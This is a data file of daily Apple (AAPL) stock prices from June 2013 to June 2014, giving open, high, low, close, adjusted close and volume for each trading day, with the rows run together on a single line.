-2013-06-10,63.53285598754883,64.15428924560547,62.400001525878906,62.698570251464844,55.72574234008789,112538300.0,AAPL -2013-06-11,62.248573303222656,63.251426696777344,61.90285873413086,62.514286041259766,55.56195068359375,71528100.0,AAPL -2013-06-12,62.78571319580078,63.03571319580078,61.64285659790039,61.74142837524414,54.875038146972656,66306800.0,AAPL -2013-06-13,61.78571319580078,62.448570251464844,61.25,62.279998779296875,55.35371398925781,71458100.0,AAPL -2013-06-14,62.20000076293945,62.327144622802734,61.21428680419922,61.43571472167969,54.60332107543945,67966500.0,AAPL -2013-06-17,61.63428497314453,62.24285888671875,61.47999954223633,61.71428680419922,54.85091781616211,64853600.0,AAPL -2013-06-18,61.65142822265625,62.128570556640625,61.45857238769531,61.681427001953125,54.82170486450195,48756400.0,AAPL -2013-06-19,61.628570556640625,61.665714263916016,60.42856979370117,60.42856979370117,53.70819091796875,77735000.0,AAPL -2013-06-20,59.900001525878906,60.854286193847656,59.310001373291016,59.5485725402832,52.92605209350586,89327700.0,AAPL -2013-06-21,59.78428649902344,60.0,58.29999923706055,59.07143020629883,52.501983642578125,120279600.0,AAPL -2013-06-24,58.20000076293945,58.380001068115234,56.86428451538086,57.505714416503906,51.110389709472656,120186500.0,AAPL -2013-06-25,57.9571418762207,58.255714416503906,56.97571563720703,57.51856994628906,51.1218147277832,78540700.0,AAPL -2013-06-26,57.70000076293945,57.827144622802734,56.522857666015625,56.86714172363281,50.54283905029297,91931000.0,AAPL -2013-06-27,57.03571319580078,57.341426849365234,56.220001220703125,56.2542839050293,49.998130798339844,84311500.0,AAPL -2013-06-28,55.908573150634766,57.181427001953125,55.5528564453125,56.64714431762695,50.34729766845703,144629100.0,AAPL -2013-07-01,57.52714157104492,58.895713806152344,57.317142486572266,58.459999084472656,51.95854568481445,97763400.0,AAPL -2013-07-02,58.56571578979492,60.23285675048828,58.4957160949707,59.78428649902344,53.13555145263672,117466300.0,AAPL -2013-07-03,60.12285614013672,60.42571258544922,59.63571548461914,60.11428451538086,53.42884826660156,60232200.0,AAPL -2013-07-05,60.05571365356445,60.470001220703125,59.33571243286133,59.63142776489258,52.99969482421875,68506200.0,AAPL -2013-07-08,60.01571273803711,60.14285659790039,58.66428756713867,59.2928581237793,52.69878387451172,74534600.0,AAPL -2013-07-09,59.08571243286133,60.5,58.62571334838867,60.33571243286133,53.62565231323242,88146100.0,AAPL -2013-07-10,59.94285583496094,60.68571472167969,59.75,60.104286193847656,53.41997528076172,70351400.0,AAPL -2013-07-11,60.42142868041992,61.17856979370117,60.16714096069336,61.04142761230469,54.25288772583008,81573100.0,AAPL -2013-07-12,61.092857360839844,61.3985710144043,60.487144470214844,60.93000030517578,54.15385437011719,69890800.0,AAPL -2013-07-15,60.71571350097656,61.637142181396484,60.68571472167969,61.06285858154297,54.27193832397461,60479300.0,AAPL -2013-07-16,60.931427001953125,61.529998779296875,60.5957145690918,61.4571418762207,54.62236404418945,54134500.0,AAPL -2013-07-17,61.38571548461914,61.7457160949707,61.174285888671875,61.47285842895508,54.63633728027344,49747600.0,AAPL -2013-07-18,61.91143035888672,62.12428665161133,61.51571273803711,61.68000030517578,54.8204345703125,54719700.0,AAPL -2013-07-19,61.871429443359375,61.99714279174805,60.621429443359375,60.7071418762207,53.955780029296875,67180400.0,AAPL -2013-07-22,61.3514289855957,61.39285659790039,60.781429290771484,60.90142822265625,54.12846374511719,51949100.0,AAPL -2013-07-23,60.85714340209961,60.994285583496094,59.81571578979492,59.855712890625,53.19903564453125,92348900.0,AAPL -2013-07-24,62.70428466796875,63.512855529785156,62.18000030517578,62.93000030517578,55.93143081665039,147984200.0,AAPL -2013-07-25,62.9571418762207,63.05714416503906,62.25857162475586,62.64285659790039,55.67622375488281,57373400.0,AAPL -2013-07-26,62.18571472167969,63.005714416503906,62.0485725402832,62.998573303222656,55.99238586425781,50038100.0,AAPL -2013-07-29,62.97142791748047,64.28428649902344,62.88571548461914,63.970001220703125,56.855770111083984,62014400.0,AAPL -2013-07-30,64.27999877929688,65.30714416503906,64.17571258544922,64.76000213623047,57.55791473388672,77355600.0,AAPL -2013-07-31,64.99857330322266,65.33428192138672,64.20428466796875,64.64714050292969,57.45759963989258,80739400.0,AAPL -2013-08-01,65.10713958740234,65.25714111328125,64.75142669677734,65.23999786376953,57.984527587890625,51562700.0,AAPL -2013-08-02,65.43000030517578,66.12142944335938,65.23714447021484,66.07714080810547,58.72856140136719,68695900.0,AAPL -2013-08-05,66.38428497314453,67.23857116699219,66.02143096923828,67.06428527832031,59.605926513671875,79713900.0,AAPL -2013-08-06,66.86000061035156,67.41285705566406,66.02428436279297,66.46428680419922,59.072669982910156,83714400.0,AAPL -2013-08-07,66.25714111328125,66.71428680419922,65.9671401977539,66.42571258544922,59.03837585449219,74714500.0,AAPL -2013-08-08,66.26571655273438,66.30000305175781,65.42142486572266,65.85857391357422,58.920799255371094,63944300.0,AAPL -2013-08-09,65.5199966430664,65.77999877929688,64.80714416503906,64.92142486572266,58.082374572753906,66716300.0,AAPL -2013-08-12,65.26571655273438,66.94999694824219,65.23285675048828,66.76571655273438,59.73236846923828,91108500.0,AAPL -2013-08-13,67.27714538574219,70.66571807861328,66.86428833007812,69.93856811523438,62.57099151611328,220485300.0,AAPL -2013-08-14,71.12571716308594,72.03571319580078,70.4857177734375,71.21428680419922,63.71232604980469,189093100.0,AAPL -2013-08-15,70.91714477539062,71.77143096923828,69.86856842041016,71.12999725341797,63.636924743652344,122573500.0,AAPL -2013-08-16,71.44999694824219,71.84857177734375,71.26571655273438,71.76142883300781,64.20182800292969,90576500.0,AAPL -2013-08-19,72.04856872558594,73.39142608642578,72.0,72.53428649902344,64.89327239990234,127629600.0,AAPL -2013-08-20,72.81571197509766,72.93856811523438,71.54571533203125,71.58142852783203,64.04080963134766,89672100.0,AAPL -2013-08-21,71.9414291381836,72.44999694824219,71.5999984741211,71.76571655273438,64.20565032958984,83969900.0,AAPL -2013-08-22,72.13999938964844,72.22714233398438,71.17142486572266,71.85142517089844,64.28234100341797,61051900.0,AAPL -2013-08-23,71.89571380615234,71.90714263916016,71.3357162475586,71.57428741455078,64.03437805175781,55682900.0,AAPL -2013-08-26,71.53571319580078,72.88571166992188,71.5,71.85285949707031,64.28360748291016,82741400.0,AAPL -2013-08-27,71.14286041259766,71.78713989257812,69.47142791748047,69.79856872558594,62.44573211669922,106047200.0,AAPL -2013-08-28,69.42857360839844,70.82857513427734,69.42857360839844,70.12857055664062,62.740966796875,76902000.0,AAPL -2013-08-29,70.2357177734375,70.92857360839844,70.16143035888672,70.24285888671875,62.84321594238281,59914400.0,AAPL -2013-08-30,70.28571319580078,70.42142486572266,69.5,69.60285949707031,62.270652770996094,68074300.0,AAPL -2013-09-03,70.44285583496094,71.5142822265625,69.62142944335938,69.7971420288086,62.44446563720703,82982200.0,AAPL -2013-09-04,71.36571502685547,71.74857330322266,70.89714050292969,71.2414321899414,63.73659896850586,86258200.0,AAPL -2013-09-05,71.46428680419922,71.52571105957031,70.5199966430664,70.75285339355469,63.29949188232422,59091900.0,AAPL -2013-09-06,71.2057113647461,71.33999633789062,69.99285888671875,71.17428588867188,63.6765251159668,89881400.0,AAPL -2013-09-09,72.14286041259766,72.55999755859375,71.92571258544922,72.30999755859375,64.69259643554688,85171800.0,AAPL -2013-09-10,72.31428527832031,72.49285888671875,69.92857360839844,70.66285705566406,63.21897888183594,185798900.0,AAPL -2013-09-11,66.71571350097656,67.66999816894531,66.40142822265625,66.81571197509766,59.77711486816406,224674100.0,AAPL -2013-09-12,66.92857360839844,67.9142837524414,66.57286071777344,67.52714538574219,60.4135856628418,101012800.0,AAPL -2013-09-13,67.04856872558594,67.40428924560547,66.38571166992188,66.4142837524414,59.4179573059082,74708900.0,AAPL -2013-09-16,65.85713958740234,65.94428253173828,63.888572692871094,64.3028564453125,57.528953552246094,135926700.0,AAPL -2013-09-17,63.994285583496094,65.67285919189453,63.92856979370117,65.04571533203125,58.193565368652344,99845200.0,AAPL -2013-09-18,66.16857147216797,66.62142944335938,65.8085708618164,66.38285827636719,59.389862060546875,114215500.0,AAPL -2013-09-19,67.24285888671875,67.97571563720703,67.03571319580078,67.47142791748047,60.363731384277344,101135300.0,AAPL -2013-09-20,68.28571319580078,68.36428833007812,66.57142639160156,66.77285766601562,59.73876953125,174825700.0,AAPL -2013-09-23,70.87142944335938,70.98714447021484,68.94285583496094,70.0914306640625,62.7077522277832,190526700.0,AAPL -2013-09-24,70.6971435546875,70.78142547607422,69.68856811523438,69.87142944335938,62.510921478271484,91086100.0,AAPL -2013-09-25,69.88571166992188,69.94857025146484,68.77571105957031,68.79000091552734,61.54341506958008,79239300.0,AAPL -2013-09-26,69.42857360839844,69.7942886352539,69.12857055664062,69.45999908447266,62.142822265625,59305400.0,AAPL -2013-09-27,69.1114273071289,69.23857116699219,68.67428588867188,68.96428680419922,61.6993408203125,57010100.0,AAPL -2013-09-30,68.17857360839844,68.8085708618164,67.77285766601562,68.10713958740234,60.93248748779297,65039100.0,AAPL -2013-10-01,68.3499984741211,69.87714385986328,68.33999633789062,69.70857238769531,62.36520767211914,88470900.0,AAPL -2013-10-02,69.37571716308594,70.25714111328125,69.10713958740234,69.93714141845703,62.5697021484375,72296000.0,AAPL -2013-10-03,70.07286071777344,70.3357162475586,68.67713928222656,69.0585708618164,61.7837028503418,80688300.0,AAPL -2013-10-04,69.12285614013672,69.22856903076172,68.37142944335938,69.00428771972656,61.735130310058594,64717100.0,AAPL -2013-10-07,69.5085678100586,70.37857055664062,69.3357162475586,69.67857360839844,62.33837890625,78073100.0,AAPL -2013-10-08,69.9914321899414,70.0914306640625,68.64857482910156,68.7057113647461,61.46800994873047,72729300.0,AAPL -2013-10-09,69.23428344726562,69.68428802490234,68.32571411132812,69.51285552978516,62.190120697021484,75431300.0,AAPL -2013-10-10,70.18856811523438,70.33999633789062,69.57714080810547,69.94857025146484,62.57993698120117,69650700.0,AAPL -2013-10-11,69.56999969482422,70.54856872558594,69.3085708618164,70.40142822265625,62.98508834838867,66934700.0,AAPL -2013-10-14,69.97571563720703,71.08285522460938,69.90714263916016,70.86285400390625,63.39789962768555,65474500.0,AAPL -2013-10-15,71.07286071777344,71.71428680419922,70.78857421875,71.23999786376953,63.73532485961914,80018400.0,AAPL -2013-10-16,71.54142761230469,71.79000091552734,71.31857299804688,71.58714294433594,64.0458984375,62775300.0,AAPL -2013-10-17,71.42571258544922,72.1114273071289,71.38285827636719,72.07142639160156,64.47917175292969,63398300.0,AAPL -2013-10-18,72.28428649902344,72.75142669677734,72.2442855834961,72.69857025146484,65.04023742675781,72635500.0,AAPL -2013-10-21,73.11000061035156,74.9000015258789,73.07428741455078,74.4800033569336,66.63401794433594,99526700.0,AAPL -2013-10-22,75.20143127441406,75.49285888671875,72.57571411132812,74.26714324951172,66.4435806274414,133515900.0,AAPL -2013-10-23,74.14286041259766,75.09571075439453,74.14286041259766,74.9942855834961,67.0941390991211,78430800.0,AAPL -2013-10-24,75.0,76.06714630126953,74.63571166992188,75.98714447021484,67.9823989868164,96191200.0,AAPL -2013-10-25,75.9028549194336,76.17571258544922,75.01571655273438,75.13714599609375,67.221923828125,84448000.0,AAPL -2013-10-28,75.57714080810547,75.85713958740234,74.7442855834961,75.6971435546875,67.72293090820312,137610200.0,AAPL -2013-10-29,76.61000061035156,77.03571319580078,73.5057144165039,73.81143188476562,66.035888671875,158951800.0,AAPL -2013-10-30,74.2300033569336,75.36000061035156,73.86000061035156,74.9857177734375,67.08646392822266,88540900.0,AAPL -2013-10-31,75.0,75.355712890625,74.4671401977539,74.67142486572266,66.8052749633789,68924100.0,AAPL -2013-11-01,74.86000061035156,74.97142791748047,73.6914291381836,74.29000091552734,66.4640121459961,68722500.0,AAPL -2013-11-04,74.44285583496094,75.26000213623047,74.11571502685547,75.25,67.32288360595703,61156900.0,AAPL -2013-11-05,74.94000244140625,75.55571746826172,74.71428680419922,75.06428527832031,67.15674591064453,66303300.0,AAPL -2013-11-06,74.87857055664062,74.9800033569336,74.02857208251953,74.41714477539062,66.96648406982422,55843900.0,AAPL -2013-11-07,74.22571563720703,74.7414321899414,73.1971435546875,73.21286010742188,65.88275146484375,65655100.0,AAPL -2013-11-08,73.51142883300781,74.4471435546875,73.22714233398438,74.36571502685547,66.92020416259766,69829200.0,AAPL -2013-11-11,74.28428649902344,74.52428436279297,73.48714447021484,74.1500015258789,66.72606658935547,56863100.0,AAPL -2013-11-12,73.9528579711914,74.84571075439453,73.85713958740234,74.28713989257812,66.84947967529297,51069200.0,AAPL -2013-11-13,74.0,74.60713958740234,73.85142517089844,74.37571716308594,66.92919158935547,49305200.0,AAPL -2013-11-14,74.68714141845703,75.6114273071289,74.5528564453125,75.45143127441406,67.8972396850586,70604800.0,AAPL -2013-11-15,75.22571563720703,75.58428192138672,74.92713928222656,74.99857330322266,67.48969268798828,79480100.0,AAPL -2013-11-18,74.99857330322266,75.31285858154297,74.02857208251953,74.08999633789062,66.67208862304688,61236000.0,AAPL -2013-11-19,74.14714050292969,74.76856994628906,73.99571228027344,74.22142791748047,66.79035949707031,52234700.0,AAPL -2013-11-20,74.17571258544922,74.34571075439453,73.47571563720703,73.57142639160156,66.2054443359375,48479200.0,AAPL -2013-11-21,73.94285583496094,74.45857238769531,73.38143157958984,74.44857025146484,66.99475860595703,65506700.0,AAPL -2013-11-22,74.2171401977539,74.59428405761719,74.07571411132812,74.25714111328125,66.82249450683594,55931400.0,AAPL -2013-11-25,74.43142700195312,75.12428283691406,74.42857360839844,74.81999969482422,67.32901000976562,57327900.0,AAPL -2013-11-26,74.87428283691406,76.5914306640625,74.85713958740234,76.19999694824219,68.5708236694336,100345700.0,AAPL -2013-11-27,76.61571502685547,78.0,76.19999694824219,77.9942855834961,70.18546295166016,90862100.0,AAPL -2013-11-29,78.49714660644531,79.76142883300781,78.2585678100586,79.43856811523438,71.48515319824219,79531900.0,AAPL -2013-12-02,79.71428680419922,80.61856842041016,78.68856811523438,78.74714660644531,70.86294555664062,118136200.0,AAPL -2013-12-03,79.75714111328125,80.91143035888672,79.66857147216797,80.9028549194336,72.8028335571289,112742000.0,AAPL -2013-12-04,80.78571319580078,81.31285858154297,80.11714172363281,80.71428680419922,72.63313293457031,94452400.0,AAPL -2013-12-05,81.80714416503906,82.16285705566406,80.91571807861328,81.12857055664062,73.0059585571289,111895000.0,AAPL -2013-12-06,80.82714080810547,80.96428680419922,79.93856811523438,80.00285339355469,71.99295043945312,86088100.0,AAPL -2013-12-09,80.12857055664062,81.36856842041016,80.12857055664062,80.91857147216797,72.8169937133789,80123400.0,AAPL -2013-12-10,80.51142883300781,81.12571716308594,80.17142486572266,80.79285430908203,72.70384979248047,69567400.0,AAPL -2013-12-11,81.0,81.56714630126953,79.9557113647461,80.19428253173828,72.16520690917969,89929700.0,AAPL -2013-12-12,80.30571746826172,80.76285552978516,80.00428771972656,80.07714080810547,72.05980682373047,65572500.0,AAPL -2013-12-13,80.40714263916016,80.41143035888672,79.09571075439453,79.20428466796875,71.27433013916016,83205500.0,AAPL -2013-12-16,79.28857421875,80.37714385986328,79.28713989257812,79.64286041259766,71.66897583007812,70648200.0,AAPL -2013-12-17,79.40142822265625,79.91999816894531,79.05428314208984,79.28428649902344,71.34632110595703,57475600.0,AAPL -2013-12-18,78.52857208251953,78.77857208251953,76.97142791748047,78.68142700195312,70.80384063720703,141465800.0,AAPL -2013-12-19,78.5,78.57142639160156,77.67571258544922,77.77999877929688,69.99264526367188,80077200.0,AAPL -2013-12-20,77.91857147216797,78.80142974853516,77.83142852783203,78.43142700195312,70.57884216308594,109103400.0,AAPL -2013-12-23,81.14286041259766,81.53142547607422,80.394287109375,81.4414291381836,73.28750610351562,125326600.0,AAPL -2013-12-24,81.41285705566406,81.6971435546875,80.8614273071289,81.09571075439453,72.97638702392578,41888700.0,AAPL -2013-12-26,81.15714263916016,81.35713958740234,80.48285675048828,80.55714416503906,72.49173736572266,51002000.0,AAPL -2013-12-27,80.54571533203125,80.62999725341797,79.92857360839844,80.01285552978516,72.00192260742188,56471100.0,AAPL -2013-12-30,79.63714599609375,80.01285552978516,78.9028549194336,79.2171401977539,71.28590393066406,63407400.0,AAPL -2013-12-31,79.16714477539062,80.18285369873047,79.14286041259766,80.14571380615234,72.12151336669922,55771100.0,AAPL -2014-01-02,79.38285827636719,79.57571411132812,78.86000061035156,79.01856994628906,71.1072006225586,58671200.0,AAPL -2014-01-03,78.9800033569336,79.0999984741211,77.20428466796875,77.2828598022461,69.5452880859375,98116900.0,AAPL -2014-01-06,76.77857208251953,78.11428833007812,76.22856903076172,77.70428466796875,69.92451477050781,103152700.0,AAPL -2014-01-07,77.76000213623047,77.9942855834961,76.84571075439453,77.14857482910156,69.4244384765625,79302300.0,AAPL -2014-01-08,76.97285461425781,77.93714141845703,76.9557113647461,77.63714599609375,69.86410522460938,64632400.0,AAPL -2014-01-09,78.11428833007812,78.12285614013672,76.47856903076172,76.64571380615234,68.97193908691406,69787200.0,AAPL -2014-01-10,77.11856842041016,77.25714111328125,75.87285614013672,76.13428497314453,68.5116958618164,76244000.0,AAPL -2014-01-13,75.70143127441406,77.5,75.6971435546875,76.5328598022461,68.87035369873047,94623200.0,AAPL -2014-01-14,76.8885726928711,78.10428619384766,76.8085708618164,78.05571746826172,70.24077606201172,83140400.0,AAPL -2014-01-15,79.07428741455078,80.02857208251953,78.8085708618164,79.62285614013672,71.65101623535156,97909700.0,AAPL -2014-01-16,79.27143096923828,79.55000305175781,78.81143188476562,79.17857360839844,71.25119018554688,57319500.0,AAPL -2014-01-17,78.7828598022461,78.86714172363281,77.12857055664062,77.23857116699219,69.50541687011719,106684900.0,AAPL -2014-01-21,77.28428649902344,78.58142852783203,77.2028579711914,78.43856811523438,70.58527374267578,82131700.0,AAPL -2014-01-22,78.70143127441406,79.61285400390625,78.2585678100586,78.78713989257812,70.8989486694336,94996300.0,AAPL -2014-01-23,78.56285858154297,79.5,77.83000183105469,79.45428466796875,71.49931335449219,100809800.0,AAPL -2014-01-24,79.14286041259766,79.37428283691406,77.82142639160156,78.01000213623047,70.19963836669922,107338700.0,AAPL -2014-01-27,78.58142852783203,79.25714111328125,77.96428680419922,78.64286041259766,70.76910400390625,138719700.0,AAPL -2014-01-28,72.68000030517578,73.57142639160156,71.72428894042969,72.35713958740234,65.11274719238281,266380800.0,AAPL -2014-01-29,71.99285888671875,72.48143005371094,71.23143005371094,71.53571319580078,64.37353515625,125702500.0,AAPL -2014-01-30,71.79142761230469,72.35713958740234,70.95714569091797,71.39714050292969,64.24883270263672,169625400.0,AAPL -2014-01-31,70.73999786376953,71.64714050292969,70.50714111328125,71.5142822265625,64.354248046875,116199300.0,AAPL -2014-02-03,71.80142974853516,72.5328598022461,71.32857513427734,71.64714050292969,64.47380065917969,100366000.0,AAPL -2014-02-04,72.2642822265625,72.77999877929688,71.82286071777344,72.68428802490234,65.40713500976562,94170300.0,AAPL -2014-02-05,72.36571502685547,73.6114273071289,72.32142639160156,73.22714233398438,65.8956298828125,82086200.0,AAPL -2014-02-06,72.86571502685547,73.35713958740234,72.5442886352539,73.21571350097656,66.27969360351562,64441300.0,AAPL -2014-02-07,74.48285675048828,74.70428466796875,73.91143035888672,74.23999786376953,67.20696258544922,92570100.0,AAPL -2014-02-10,74.09428405761719,75.99857330322266,74.0,75.56999969482422,68.41094970703125,86389800.0,AAPL -2014-02-11,75.80142974853516,76.82142639160156,75.64286041259766,76.56571197509766,69.31233215332031,70564200.0,AAPL -2014-02-12,76.70714569091797,77.08000183105469,76.17713928222656,76.55999755859375,69.30716705322266,77025200.0,AAPL -2014-02-13,76.37999725341797,77.8357162475586,76.31428527832031,77.77571105957031,70.40770721435547,76849500.0,AAPL -2014-02-14,77.49571228027344,77.99714660644531,77.31571197509766,77.71286010742188,70.350830078125,68231100.0,AAPL -2014-02-18,78.0,78.7414321899414,77.94428253173828,77.99857330322266,70.6094741821289,65062900.0,AAPL -2014-02-19,77.82142639160156,78.12714385986328,76.3357162475586,76.76714324951172,69.49470520019531,78442000.0,AAPL -2014-02-20,76.14142608642578,76.71428680419922,75.57142639160156,75.87857055664062,68.6903076171875,76464500.0,AAPL -2014-02-21,76.11285400390625,76.36714172363281,74.94285583496094,75.03571319580078,67.92729187011719,69696200.0,AAPL -2014-02-24,74.7357177734375,75.7028579711914,74.63143157958984,75.36428833007812,68.22474670410156,72227400.0,AAPL -2014-02-25,75.62571716308594,75.6528549194336,74.42857360839844,74.58000183105469,67.51473999023438,57988000.0,AAPL -2014-02-26,74.80142974853516,75.0,73.65714263916016,73.90714263916016,66.90563201904297,69054300.0,AAPL -2014-02-27,73.87714385986328,75.54000091552734,73.72142791748047,75.38143157958984,68.24026489257812,75470500.0,AAPL -2014-02-28,75.58285522460938,76.10713958740234,74.58856964111328,75.17713928222656,68.05531311035156,92992200.0,AAPL -2014-03-03,74.77428436279297,75.80714416503906,74.68714141845703,75.394287109375,68.25189971923828,59695300.0,AAPL -2014-03-04,75.85713958740234,76.0914306640625,75.39571380615234,75.89142608642578,68.70194244384766,64785000.0,AAPL -2014-03-05,75.84571075439453,76.39286041259766,75.58999633789062,76.05142974853516,68.84678649902344,50015700.0,AAPL -2014-03-06,76.11285400390625,76.34857177734375,75.44285583496094,75.82142639160156,68.6385726928711,46372200.0,AAPL -2014-03-07,75.87000274658203,75.99714660644531,75.1500015258789,75.77714538574219,68.59848022460938,55182400.0,AAPL -2014-03-10,75.4800033569336,76.19000244140625,75.47714233398438,75.84571075439453,68.66055297851562,44646000.0,AAPL -2014-03-11,76.49285888671875,76.96286010742188,76.08428192138672,76.58428192138672,69.32913970947266,69806100.0,AAPL -2014-03-12,76.35857391357422,76.7642822265625,76.0,76.6585693359375,69.39640045166016,49831600.0,AAPL -2014-03-13,76.77714538574219,77.09428405761719,75.59428405761719,75.80714416503906,68.6256332397461,64435700.0,AAPL -2014-03-14,75.54142761230469,75.8414306640625,74.71428680419922,74.9557113647461,67.85487365722656,59299800.0,AAPL -2014-03-17,75.38571166992188,75.70999908447266,75.12142944335938,75.24857330322266,68.12000274658203,49886200.0,AAPL -2014-03-18,75.12857055664062,75.99571228027344,75.02857208251953,75.9142837524414,68.72264862060547,52411800.0,AAPL -2014-03-19,76.03713989257812,76.605712890625,75.57142639160156,75.894287109375,68.70453643798828,56189000.0,AAPL -2014-03-20,75.69857025146484,76.09571075439453,75.3357162475586,75.52857208251953,68.37345886230469,52099600.0,AAPL -2014-03-21,75.98999786376953,76.25,75.19000244140625,76.12428283691406,68.91271209716797,93511600.0,AAPL -2014-03-24,76.91714477539062,77.21428680419922,76.43714141845703,77.02714538574219,69.73005676269531,88925200.0,AAPL -2014-03-25,77.35713958740234,77.96428680419922,77.08428192138672,77.855712890625,70.48014831542969,70573300.0,AAPL -2014-03-26,78.07428741455078,78.42857360839844,76.9800033569336,77.1114273071289,69.80635833740234,74942000.0,AAPL -2014-03-27,77.14571380615234,77.35713958740234,76.44571685791016,76.77999877929688,69.50633239746094,55507900.0,AAPL -2014-03-28,76.9028549194336,76.9914321899414,76.32142639160156,76.69428253173828,69.42874908447266,50141000.0,AAPL -2014-03-31,77.0328598022461,77.2585678100586,76.56143188476562,76.67713928222656,69.41321563720703,42167300.0,AAPL -2014-04-01,76.82286071777344,77.41000366210938,76.68142700195312,77.37857055664062,70.04820251464844,50190000.0,AAPL -2014-04-02,77.48285675048828,77.63999938964844,77.18000030517578,77.50714111328125,70.16458129882812,45105200.0,AAPL -2014-04-03,77.3414306640625,77.5,76.80571746826172,76.97000122070312,69.67832946777344,40586000.0,AAPL -2014-04-04,77.11571502685547,77.14286041259766,75.7971420288086,75.97428894042969,68.77696228027344,68812800.0,AAPL -2014-04-07,75.43142700195312,75.84285736083984,74.55571746826172,74.78142547607422,67.69710540771484,72462600.0,AAPL -2014-04-08,75.02714538574219,75.16000366210938,74.0999984741211,74.77714538574219,67.69322204589844,60972100.0,AAPL -2014-04-09,74.66285705566406,75.78428649902344,74.57428741455078,75.76000213623047,68.58296203613281,51542400.0,AAPL -2014-04-10,75.81143188476562,76.03428649902344,74.73857116699219,74.7828598022461,67.69839477539062,59913000.0,AAPL -2014-04-11,74.14286041259766,74.69000244140625,73.87714385986328,74.2300033569336,67.19790649414062,67929400.0,AAPL -2014-04-14,74.55714416503906,74.59428405761719,73.88714599609375,74.52571105957031,67.4655990600586,51418500.0,AAPL -2014-04-15,74.32428741455078,74.5199966430664,73.0471420288086,73.9942855834961,66.9845199584961,66622500.0,AAPL -2014-04-16,74.00714111328125,74.4414291381836,73.44857025146484,74.144287109375,67.12030029296875,53691400.0,AAPL -2014-04-17,74.28571319580078,75.394287109375,74.17142486572266,74.9914321899414,67.8871841430664,71083600.0,AAPL -2014-04-21,75.04856872558594,76.0199966430664,74.85142517089844,75.88143157958984,68.6928939819336,45637200.0,AAPL -2014-04-22,75.47285461425781,75.97571563720703,75.21428680419922,75.95714569091797,68.76143646240234,50640800.0,AAPL -2014-04-23,75.58000183105469,75.87571716308594,74.92142486572266,74.96428680419922,67.86262512207031,98735000.0,AAPL -2014-04-24,81.17285919189453,81.42857360839844,80.10428619384766,81.11000061035156,73.4261245727539,189977900.0,AAPL -2014-04-25,80.64714050292969,81.71286010742188,80.56571197509766,81.7057113647461,73.96542358398438,97568800.0,AAPL -2014-04-28,81.82857513427734,85.10713958740234,81.79285430908203,84.87000274658203,76.82992553710938,167371400.0,AAPL -2014-04-29,84.81999969482422,85.13999938964844,84.21571350097656,84.61856842041016,76.60232543945312,84344400.0,AAPL -2014-04-30,84.66285705566406,85.63285827636719,84.25714111328125,84.29856872558594,76.31263732910156,114160200.0,AAPL -2014-05-01,84.57142639160156,84.97142791748047,83.76571655273438,84.49714660644531,76.49241638183594,61012000.0,AAPL -2014-05-02,84.62000274658203,84.88571166992188,84.2442855834961,84.65428924560547,76.63465881347656,47878600.0,AAPL -2014-05-05,84.30571746826172,85.85713958740234,84.28571319580078,85.85142517089844,77.71839904785156,71766800.0,AAPL -2014-05-06,85.97142791748047,86.34428405761719,84.91571807861328,84.91571807861328,76.871337890625,93641100.0,AAPL -2014-05-07,85.03571319580078,85.32714080810547,83.96142578125,84.61856842041016,76.60232543945312,70716100.0,AAPL -2014-05-08,84.03571319580078,84.91571807861328,83.77143096923828,83.99857330322266,76.46578216552734,57574300.0,AAPL -2014-05-09,83.5057144165039,83.75,82.90428924560547,83.64857482910156,76.14716339111328,72899400.0,AAPL -2014-05-12,83.92713928222656,84.8085708618164,83.9142837524414,84.69000244140625,77.09522247314453,53302200.0,AAPL -2014-05-13,84.57142639160156,84.93428802490234,84.38571166992188,84.82286071777344,77.21614074707031,39934300.0,AAPL -2014-05-14,84.63285827636719,85.34285736083984,84.53428649902344,84.83856964111328,77.23043823242188,41601000.0,AAPL -2014-05-15,84.95714569091797,85.22856903076172,84.0057144165039,84.11714172363281,76.5737075805664,57711500.0,AAPL -2014-05-16,84.08999633789062,85.3614273071289,83.62857055664062,85.35857391357422,77.70381164550781,69064100.0,AAPL -2014-05-19,85.40714263916016,86.76142883300781,85.33285522460938,86.37000274658203,78.62455749511719,79438800.0,AAPL -2014-05-20,86.35857391357422,86.62857055664062,85.81857299804688,86.38714599609375,78.64015197753906,58709000.0,AAPL -2014-05-21,86.26142883300781,86.67142486572266,86.0085678100586,86.61571502685547,78.84822845458984,49214900.0,AAPL -2014-05-22,86.65714263916016,87.12142944335938,86.30000305175781,86.75285339355469,78.97305297851562,50190000.0,AAPL -2014-05-23,86.75,87.81857299804688,86.6385726928711,87.73285675048828,79.86518096923828,58052400.0,AAPL -2014-05-27,87.98285675048828,89.4085693359375,87.9471435546875,89.37571716308594,81.36071014404297,87216500.0,AAPL -2014-05-28,89.43142700195312,89.97571563720703,89.1114273071289,89.144287109375,81.15003204345703,78870400.0,AAPL -2014-05-29,89.69285583496094,90.98143005371094,89.68142700195312,90.76856994628906,82.62864685058594,94118500.0,AAPL -2014-05-30,91.13999938964844,92.02428436279297,89.84285736083984,90.42857360839844,82.31915283203125,141005200.0,AAPL -2014-06-02,90.56571197509766,90.69000244140625,88.92857360839844,89.80714416503906,81.75345611572266,92337700.0,AAPL -2014-06-03,89.77999877929688,91.24857330322266,89.75,91.07714080810547,82.90956115722656,73177300.0,AAPL -2014-06-04,91.06285858154297,92.55571746826172,90.87285614013672,92.11714172363281,83.85628509521484,83870500.0,AAPL -2014-06-05,92.31428527832031,92.76714324951172,91.80142974853516,92.47856903076172,84.1853256225586,75951400.0,AAPL -2014-06-06,92.84285736083984,93.03713989257812,92.06714630126953,92.22428894042969,83.95381927490234,87484600.0,AAPL -2014-06-09,92.69999694824219,93.87999725341797,91.75,93.69999694824219,85.29718780517578,75415000.0,AAPL -2014-06-10,94.7300033569336,95.05000305175781,93.56999969482422,94.25,85.79788208007812,62777000.0,AAPL -2014-06-11,94.12999725341797,94.76000213623047,93.47000122070312,93.86000061035156,85.4428482055664,45681000.0,AAPL -2014-06-12,94.04000091552734,94.12000274658203,91.9000015258789,92.29000091552734,84.01364135742188,54749000.0,AAPL -2014-06-13,92.19999694824219,92.44000244140625,90.87999725341797,91.27999877929688,83.09422302246094,54525000.0,AAPL -2014-06-16,91.51000213623047,92.75,91.44999694824219,92.19999694824219,83.93171691894531,35561000.0,AAPL -2014-06-17,92.30999755859375,92.69999694824219,91.80000305175781,92.08000183105469,83.8224868774414,29726000.0,AAPL -2014-06-18,92.2699966430664,92.29000091552734,91.3499984741211,92.18000030517578,83.91351318359375,33514000.0,AAPL -2014-06-19,92.29000091552734,92.30000305175781,91.33999633789062,91.86000061035156,83.6222152709961,35528000.0,AAPL 